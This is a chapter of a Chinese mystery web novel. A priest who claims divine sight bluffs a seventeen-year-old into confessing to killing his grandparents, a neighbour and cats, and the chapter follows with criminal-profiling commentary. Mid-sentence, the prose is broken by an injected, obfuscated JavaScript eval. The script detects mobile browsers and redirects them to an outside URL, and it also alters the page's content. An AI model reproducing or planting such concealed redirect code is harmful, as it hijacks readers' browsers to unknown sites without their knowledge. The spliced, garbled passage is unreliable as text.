05 你们相信神明吗
治安官和神父两人离开早市的场景着实抢眼。
一是因为两个人的身份。
一名是最近一直都在调查小镇凶案的治安官。
另一名是摸不清底细，不受欢迎的神秘神父。
谁也想不通两个人有什么特殊的交集？
二是因为其实一开始大家都有留意神父的动线，所以神父离开的身影才格外引人注意。
“发生什么事情？人什么都没有买就走了。”肉贩子的老板满脸困惑，“我还想着怎么抬高价格，让那个神父知难而退！”
隔壁蔬菜店的老板也跟着探头探脑搭话，“该不会神父跟凶案有什么关系吧？”
路人也加入了对话：“怎么可能？神父才来多久，看他扁扁瘦瘦的身材连只小鸟也抓不住吧？怎么杀得了人？”
尽管没有人说出那句话，可是周围氛围已经浓到了极点。
——好奇。
——他们很好奇，很好奇。
“有没有人没事去教堂那瞅一眼动静？”
周围都是老熟人在说话，也不用辨方向，就有人直接回答了，“有店铺要看着，去不了。再说，我们路过被抓住的话，肯定是要抓去传教的。更别说，一直待在外面看着。”
“雅格一家最近因为神父过来了，传教的劲头就是一股子「信我者得永生」，看着有点害怕。我觉得要是我心软答应，恐怕就是真的踏入不归路了。”
接受教会信仰的压力一下子压制住了内心蠢蠢欲动的好奇心。
直到一个坐在阳光底下的老者从摇椅上站起身，开口，“我去——”
周围听到声响的人齐齐往他的方向投以悲壮又感激的目光，仿佛是他要为人民牺牲的银发英雄，“……”
“……上会厕所。”老者一手压着摇椅的椅背，维持平衡。
空气重归死寂，像是刚才什么事情都没有发生似的。
大家又开始各忙各的。
*
治安官许久没有踏入教堂。
原本以为把人领到阿利斯神父面前，他就解决了事情。最多也就是跟着听听神父的八卦。毕竟他也好奇，为什么有人会选择这么偏僻荒芜的牧区来传教。
起初以为是有亲戚在这里，治安官心里还有一些明白。
可是在去教堂之前，治安官的想法又被否定了。
那阿利斯神父怎么知道镇里面这样的人？
他很久以前就听说，教会里面的人，尤其是高级祭祀有神力，像是能够治愈他人，预知，又或者能降下神迹。
如果阿利斯神父有这样的神力，为什么会在这个小犄角旮旯地里面谋生？
治安官想不透，甚至觉得这人深藏不露，直到他遇到了放在教堂门口的一只放在花圈里面的死状安详的老鼠，“……”
他脚步顿了顿，“这是……？”
“昨夜，我在祭坛前祷告，乞求神主大人垂怜他的信徒，送上一些肉食果腹。第二天，我就收到了这个小礼物。这是神迹。”阿利斯神父极其开朗，“因为我并不吃这样的食物，所以我把它放在一边，继续聆听神主其他更具深意的安排。”
他又继续说道：“请你们移步到教会内的忏悔室。”
治安官欲言又止：“……”
看到后面三人像是盯着傻子一样，盯着过于乐观的阿利斯神父的背影后，治安官大喝一声，“跟上脚步，慢吞吞的，像什么话呢？”
没有人进过教会的忏悔室。
第一次进忏悔室的时候，陌生的访客也被这方寸之地吸引了注意力。
忏悔室是一间很小的木质隔间，位于教堂的后部。只靠着一扇朴素的门和一块柔软的帘布就将外界的鸟鸣声和风声隔开。
室内布置简洁而庄重：十字架，圣经、跪垫、蜡烛以及网格窗。
阿利斯神父坐在网格窗的另一边，外面的光将他的瞳孔照得清澈如晨曦一般。眼瞳恰好有个白色的光点，如日出，温柔得如同能够照亮整个房间。他抬眼凝视治安官和另外三人的一幕，即使并不是刻意地对视，却仍有一种难以言喻的肃穆。
空气里出现一抹平息躁动和杂思的静止。
他的目光带着一种无声的召唤，是一种无法逃避的凝视，冷静而又宁静。
而后，他双手交握，垂眸做了一个祷告。
没有人听懂他在说什么，可是也没有人出声去打断他的话语。
再次抬起视线，阿利斯神父说：“神主为了解救被罪恶笼罩着的小镇，把祂知晓过去和未来的声音传递给我。我在这里是为了给犯下错误的人一次自我救赎的机会。”
阿利斯神父开口看向治安官说道：“神主说杀死安德家那对老夫妇以及贝西家的老太太的凶手就在这个屋子里面，请您配合让人留在这里。”
“你不会说是我吧？”
昨天的猎户就知道这个神父并不是好相与的，居然开始污蔑他们是凶手，“信口瞎说,就别怪我们对你们教会嗤之以鼻。”
治安官走进这忏悔室里面，才意识到这里不对劲，但他绝对没有想到原来阿利斯居然对小镇凶案的事情如此上心。
听阿斯利这话，他下意识地先靠近门口，堵住入口。
现在这事情越闹越大，闹得人心惶惶，治安官不可能任由案件继续发酵。如今有线索传过来，即使是真假难辨，但总是一条线索。
治安官顺着猎户的话，开始思考道：“这么一说，昨天你的说辞就很可疑了。你人都没有进去贝西奶奶家的屋子，在门外看上一眼，你就知道人死了？那我问你——为什么你好端端地推别人的屋门？如果你真的没进屋，又怎么会知道她死了？如果你真的进了屋，那就是你昨天撒了谎，有意隐瞒自己的情况。无论是什么情况，都说不过去！”
年轻的猎户被治安官一段话辩得整张脸又红又白，连忙回道：“治安屋子里面那人一动也不动，大白天还点着蜡烛，这也太蹊跷了。我本职就是打猎。我见过太多死亡了，平时还要提防有些猎物在装死。对于真死假死，我不用靠近也可以看得明白。再说，人死了，屋子里变了味道。那种血腥味混着一点酸的腐臭气息，其他人闻不出来，可我就知道不对。”
见治安官目光炯炯地盯着他的眼睛，既没有说怀疑，也没有见信任，他大感无辜，“真的不是我，我不可能啊！”
猎户急了两秒之后，又看向阿利斯神父，说道：“这人肯定就是个骗子啊，说风就是雨的！好吧！他说我们三个里面有凶手，那安德呢？安德就是凶手吗？！”
三人之中最沉默，最为矮小的便是十七岁的安德。
他被指控为凶手之一时，既不像是猎户那样急切，也不像是另一名年轻人那样觉得可笑。安德只是沉默着，整张脸都似乎都要比之前的还要苍白，仿佛下一秒就要昏过去。
原本大家还不太在意安德的存在感，可是现在他们看着安德明显的变化。
一种可怕的直觉也升上了心头。
这个时候，阿利斯神父缓缓开口，“安德是从两个月前才搬到萨伏伊地区，被自己的母亲从继父家里赶出来后，又被送到了祖父母家。他有个不被家里人认可的行为和活动——那就是肢解小动物。上个月，他因为与祖母产生矛盾，对她感到不满，于是用家里的菜刀击毙了祖母。而后，在祖父回来的时候，他以为祖父会来保护他，理解他，结果发现祖父并不愿意站在他这一边，所以他对老人也痛下毒手。”
“安德，你的内心原本有了愧疚和害怕，你意识到自己做了不该做的事情。可是上个月之后，你还是发现自己的手无法控制对血腥的渴求，再次把手伸向了猫。可是，这次你发现杀猫的感觉不对。”
“是它们的挣扎声不对，还是它们的器官不对？”
“你觉得内心不够痛快，心里又开始冒出了第二道声音：「可能是对象不对」，你想要杀的是人？于是你在夜里敲开了邻居的家门，贝西老太太穿着睡衣为你打开了门……”
安德面目因为他的话变得扭曲起来，呼吸声也越来越重，在承认与反驳之间挣扎不已。
——他想要救自己。
可这个“救”，不在于灵魂的救赎，而在于让别人不知道。
当保安官敲开门，说神父称说他有东西落在神父那边的时候，安德就觉得有一种不祥的预感。这种预感就像是一只贪食的蛇不断地啃食他的内心。
他觉得，神父可能知道了什么。
也许是因为他做事的时候，被看到了。
也许是因为他真的落下来什么东西，可是要是真的丢东西了，为什么不主动上门来送，而要叫治安官来传话呢？
于是，他在出门的时候，把自家的菜刀拿了出来，他要杀人灭口……
此时，安德的呼吸逐渐加重。
他咬着牙，最后逼出自己的话：“你在胡说八道！我没有，我没有，你压根什么都没有看到……对！你才刚来不到一个月，怎么可能看到是我杀了猫，怎么可能看到我杀了我的祖母和祖父？”
阿利斯神父依旧端坐着，如同背后的神主雕塑，平淡而安定，“神明看到了。你知道祂看得一清二楚，否则你不会隔了很久之后才再次第二次行动。你很清楚有一双眼睛在看着你。”
“……”
安德嘴唇嚅动着，最后垂首，连紧攥着的菜刀也“哐当”一声掉在地上。
旁边的猎户吓得避开，反而只有治安官飞快地抓住了安德的手，“为什么你要做这种事？”
安德垂着头，声音喑哑，听不清愧疚还是无力，说道：“那天祖母很吵，我就在想，如果能让她闭嘴的话，那就太好了。那天，恶魔就来跟我说，想要叫人闭嘴，只能这么做。”
“你为什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417644|168875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么要杀了你祖父？他对你那么好？！”治安官还是没有办法接受这种现实，从阿利斯神父嘴里说出来的是一种故事，从安德嘴里说出来的就是事故了。
“老头子也是喋喋不休，让我去认罪。他真的很烦人……”
猎户也没有之前那种神采，惊疑不定地说道：“贝西奶奶又做错什么？”
“每天晚上都要来敲门问我吃饭了吗？”安德皱着眉，“这不吵吗？！”
一句话让整个忏悔室都像是冰窖一样，连空气都那么刺骨。
*
支配、控制、操纵。
这是连续杀人犯的三大动机。
从杀猫到杀人，这是典型的杀戮升级。
对于大多数非职业型的杀人犯来说，杀人也跟出去玩一个道理。他们也有一种内心驱动，那就是在自己熟悉的地点活动，会让他们产生一种安全感，甚至也可以称之为“舒适圈”。
于是，就有这么一条数据：「熟人作案的概率高达百分之八十」。
这不是因为「熟人」，而是「非职业的犯人」会找「熟人」来犯案，因为他们内心也追求一种安全感，他们也想要控制自己被暴露的风险。
所以，这也会有一条事实：「人往往倾向于在“成功经验”区域重复行为」。
对罪犯而言，第一次得手的地点既安全又熟悉，这很容易成为他们再次作案的首选。这一点也适用于销售、工作、学习甚至日常生活中也是一样的。一旦某个方法或地点带来了成功，人们就更可能回到那里重复相似的行为。
这是本能的路径依赖，也是一种心理安全区的体现。
于是，从犯罪心理分析，这人的年龄是在青壮年，才能符合虐猫到杀人这一条犯罪进阶的曲线。这人是镇子的人，对环境很熟悉，是死者的邻居或经常保持来往的人。杀猫和杀人事件激增发生在这两个月内，说明这个凶手并不是久居在镇子里面，可他知道自己也许会在这里待很久。
排查下来，镇子上只有安德是外来的。
再来，自己的祖父母死后，他不像连续杀人犯那样犯罪逐渐升级，而是回落，说明他骨子里面的怯懦，以及悔罪，又或者是一种压抑本性，直到开始杀了第三人——他的邻居。
这人开始不可控了。
然而“作案对象依旧是邻居”说明他依旧只是会对熟悉环境下的人更有掌控感，并且只针对弱势群体，那足够说明他的局限性——胆子不大，不敢冒更大的风险。
这个案子很简单。
尤其是关系那么简单的乡镇里面，答案呼之欲出。
只要找出「指定元素的子集」即可。
……
舒栎目光沉静，如同能穿透人心。静默间，舒栎身形笔直，如同一尊庄严的圣像。
他静静看着面前支支吾吾的治安官，语气没有起伏：“有什么想问的吗？”
治安官皱了皱眉，像是犹豫，又像是想确认什么。他带着安德退了两步，却又忍不住回头，盯着阿利斯神父的脸低声问：“你……你真的看见了？”
肯定没有看到。
否则舒栎不会把安德杀贝西奶奶的时间都说得那么含糊。
这全靠安德心虚。
舒栎并不露怯，只是微微一笑，声音沉静而平稳，“神明看到了。”
治安官喉结滚动了一下，眼瞳明显一震，“那神明有…有告诉你，他身上藏了刀吗？”
舒栎目不斜视，郑重道：“神明始终注视着我，就像是我始终注视着祂。”
这句回答如重锤敲在心上，没有正面，却胜于万语。
治安官想起安德那把就像是被人无形打落的菜刀，说不出否定的话，也说不出肯定的话。可他目光颤动着。很显然，刚才的话已经在他的世界里面引发了地震一般，让他无法轻易拒绝真相。
屋内只剩三人，空气却比方才更重。
舒栎的视线缓缓扫过另外两人，虽然两个人来得莫名其妙，但总算是有信徒上门了。
得来全不费工夫。
自己可以开始传教了。
于是，舒栎语气平稳，像专业的神职人员站在圣坛上向信徒，展开双臂，发问。
“你们，相信神明吗？”
面前两个人喉咙一紧，感觉自己像是掉进了恶魔的陷阱里面，可又不信眼前这人。理智告诉他们，刚才这人完全有可能是瞎猫碰上死耗子。
是安德太心虚，太胆小，才会自己坦白。
要是换个冷静的犯人，就没有那么容易了。
然而，舒栎的声音还没有停止。
他轻声，像是在讲道——
“你们不必回答我，神明已经听到了你们的声音。”
“在神明面前，怀疑也是一种回答。”
这句话像是一种宣判，几乎把两个人内心的灵魂看透，让他们想要落荒而逃。